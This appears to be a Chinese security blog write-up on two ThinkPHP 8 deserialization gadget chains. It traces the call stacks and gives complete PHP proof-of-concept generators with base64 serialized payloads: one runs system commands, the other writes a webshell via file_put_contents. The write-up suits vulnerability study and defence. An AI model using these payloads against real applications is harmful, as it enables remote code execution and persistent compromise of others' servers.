Thinkphp8 反序列化调用链从ResourceRegister#__destruct()开始,最终调用到Validate#is()下,该方法下存在一个call_user_func_array()可供我们调用执行命令
反序列化链的起点在ResourceRegister#__destruct()下,其中$registered初始化值为false,可以调用到$this->register(),在register下由于$this->resource可控,所以我们可以构造$this->resource = new Resource(),Resource类下存在一个parseGroupRule方法。
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
这里传递进去的参数为$this->resource->getRule(),在该方法里面返回的是$this->rule的内容,该值是可控的
public function getRule()
{
return $this->rule;
}
在parseGroupRule方法下,先判断$rule中是否包含".",如果条件成立的话会进入到if语句中,接着会通过explode函数以“.”为分隔符划分$rule,接着进入到foreach中进行拼接字符串。
由于$option=$this->options,所以$options数组是可控的,在foreach语句中,代码将$val的内容和$option['var'][$val]拼接起来,如果$option['var'][$val]的值可控且是一个对象的时候,会调用到该对象的__toString(),这里需要利用到的对象是Conversion类的__toString()
可以构造$rule的值为"1.1",$this->option=["var"=>["1"=>new Conversion()]],那么当执行到字符串拼接部分的代码时,就会调用到Conversion类的__toString方法。
由于这里Conversion类的类型为trait,是不可以通过new Conversion()的形式实例化成一个对象的,所以这里需要用到Pivot类,该类继承自Model类,而Model类下使用到了model\concern\Conversion
在Conversion#toString()中先调用$this->toJson(),接着按照下面的调用栈,跟进到appendAttrToArray()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Conversion#appendAttrToArray()
在appendAttrToArray()中通过is_array()来判断$name是否是数组,这里的$key和$name的值通过$this->append得到
$this->append = ["test"=>[]] //根据要求构造了$this->append的值
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
接着进入到$this->getRelationWith()中,在Validate类的__call魔术方法中,使用到了call_user_func_array(),通过call_user_func_array()可以构造命令执行,所以我们的反序列链需要调用到Validate#__call()
这里需要令$relation的值为Validate对象,那么当程序执行到$relation->hidden()时,由于Validate对象中并不存在hidden()方法,就会调用该对象里的__call()魔术方法。
而进入到$relation->hidden()的条件是$hidden[$key]必须存在,$hidden[$key]是可控的,所以先进入到$this->getRelation()中看看如何令$this->getRelation()的返回值$relation为Validate对象
这里我们利用return $this->relation[$name]来返回我们的Validate对象。因为这里$name参数实际上就是传递进来的$this->append的$key,$this->relation的内容可控,这样返回的$this->relation[$name]就是new Validate()了
$this->append = ["test"=>[]]
$this->$relation = ["test"=>new Validate()]
得到了$relation之后,执行到$relation->hidden($hidden[$key])时,就会调用到Validate#__call(),参数是$hidden[$key]
if ($relation) {
if (isset($visible[$key])) {
$relation->visible($visible[$key]);
} elseif (isset($hidden[$key])) {
$relation->hidden($hidden[$key]);
}
}
跟进到Validate#__call(),该方法下通过call_user_func_array([$this, 'is'], $args) 调用到该类下的is()方法,可以看到在call_user_func_array()调用的回调函数是$this->type[$rule],这里$rule的值为hidden,$value就是$hidden[$key]
$this->type = ["hidden"=>"system"] //通过$this->type[$rule]得到回调函数system
参数$[value]这里有一个坑,当使用call_user_func_array()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[$value]里,所以这里call_user_func_array(“system”, [$value])只能接收一个字符串参数$value
通过上面的分析我们已经知道$value的值是通过$hidden[$key]得到的,实际上$hidden[$key]的值是一个数组,所以这里导致参数变成了[["whoami"]]这种形式
$hidden从Conversion#toArray()中得到,如果我们构造$this->hidden=["test"=>"whoami"]的形式,那么程序就会进入到$hidden[$val]=true,得到的$hidden=["whoami"=>"true"]。
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$hidden[$relation][] = $name;
} else {
$hidden[$val] = true;
}
} else {
$hidden[$key] = $val;
}
}
所以我们需要一个类将参数转换为字符串,最终找到的可用类为ConstStub,里面的__toString()返回一个字符串形式的$this->value,$this->value可控,所以我们可以构造所需的类。当程序执行到call_user_func_array(“system”, [new ConstStub()])时就会调用ConstStub的魔法方法__toString()返回一个字符串calc
$this->hidden = ["test"=> new ConstStub()]
namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = "calc";
}
}
ResourceRegister#__destruct()
ResourceRegister#register()
Resource#parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Conversion#appendAttrToArray()
Conversion#getRelationWith()
Validate#__call()
Validata#is()
<?php
namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = "calc"; //cmd
}
}
namespace think {
use Symfony\Component\VarDumper\Caster\ConstStub;
class Validate{
protected $type;
public function __construct(){
$this->type = ["hidden"=>"system"];
}
}
abstract class Model {
protected $append;
protected $relation;
protected $hidden;
public function __construct() {
$this->hidden = ["test"=>new ConstStub()];
$this->append = ["test"=>[]];
$this->relation = ["test"=>new Validate()];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\model\Pivot;
class ResourceRegister{
protected $resource;
public function __construct(){
$this->resource = new Resource();
}
}
abstract class Rule {
protected $rule;
protected $option;
function __construct(){
$this->rule = "1.2";
$this->option = ["var"=>["1"=>new Pivot()]];
}
}
class RuleGroup extends Rule{
public function __construct(){
parent::__construct();
}
}
class Resource extends RuleGroup {
public function __construct(){
parent::__construct();
}
}
}
namespace {
$obj = new think\route\ResourceRegister();
echo base64_encode(serialize($obj));
}
/*
TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoiMS4yIjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntpOjE7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjM6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoidGVzdCI7YTowOnt9fXM6MTE6IgAqAHJlbGF0aW9uIjthOjE6e3M6NDoidGVzdCI7TzoxNDoidGhpbmtcVmFsaWRhdGUiOjE6e3M6NzoiACoAdHlwZSI7YToxOntzOjY6ImhpZGRlbiI7czo2OiJzeXN0ZW0iO319fXM6OToiACoAaGlkZGVuIjthOjE6e3M6NDoidGVzdCI7Tzo0NDoiU3ltZm9ueVxDb21wb25lbnRcVmFyRHVtcGVyXENhc3RlclxDb25zdFN0dWIiOjE6e3M6NToidmFsdWUiO3M6NDoiY2FsYyI7fX19fX19fQ==
*/
第二条利用链的入口和第一条利用链的入口是一样的,都在ResourceRegister#__destruct()下,通过第二条利用链可以通过file_put_contents写入webshell到网站目录下,根据下面的调用栈跟进到Conversion#__toArray()下
ResourceRegister#__destruct()
ResourceRegister#__register()
Resource#__parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
$visible[$key]是可控的,这里会进入到$this->getAttr(),参数$key也是可控的,在getAttr方法中会调用$this->getValue()
在getValue()中,跟进$this->getRealFieldName()可以看到返回值是可控的,接着会判断$this->get中是否存在$fieldName的键值,这里的$this->get是可控的
跟进到getJsonValue()中,可以看到在568行可以通过$closure($value[$key],$value),参数全都是可控的,就可以通过file_put_contents去写入webshell
在代码中添加一个反序列化的入口点,执行反序列化之后可以看到在网站public目录下会生成一个webshell文件
ResourceRegister#__destruct()
ResourceRegister#__register()
Resource#__parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Attribute#getAttr()
Attribute#getValue()
Attribute#getJsonValue()
<?php
namespace think {
abstract class Model {
private $data;
protected $visible;
protected $jsonAssoc;
protected $json;
private $withAttr;
public function __construct() {
$this->jsonAssoc = true;
$this->data = ["test"=>["test"=>"kakaxsxs.php", "test2"=>"<?php phpinfo()?>"]];
$this->visible = ["test"=>"test"];
$this->json = ["test"=>"test"];
$this->withAttr = ["test"=>["test"=>"file_put_contents"]];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\model\Pivot;
class Rule {
protected $rule;
protected $option;
public function __construct() {
$this->rule = "1.1";
$this->option = ["var"=>["1"=>new Pivot()]];
}
}
class RuleGroup extends Rule {
public function __construct() {
parent::__construct();
}
}
class Resource extends RuleGroup {
public function __construct() {
parent::__construct();
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
}
namespace {
$obj = new think\route\ResourceRegister();
echo base64_encode(serialize($obj));
}
/*
TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoiMS4xIjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntpOjE7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoidGVzdCI7YToyOntzOjQ6InRlc3QiO3M6MTI6Imtha2F4c3hzLnBocCI7czo1OiJ0ZXN0MiI7czoxNzoiPD9waHAgcGhwaW5mbygpPz4iO319czoxMDoiACoAdmlzaWJsZSI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MTI6IgAqAGpzb25Bc3NvYyI7YjoxO3M6NzoiACoAanNvbiI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjQ6InRlc3QiO2E6MTp7czo0OiJ0ZXN0IjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fX19fX19fQ==
*/
4 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!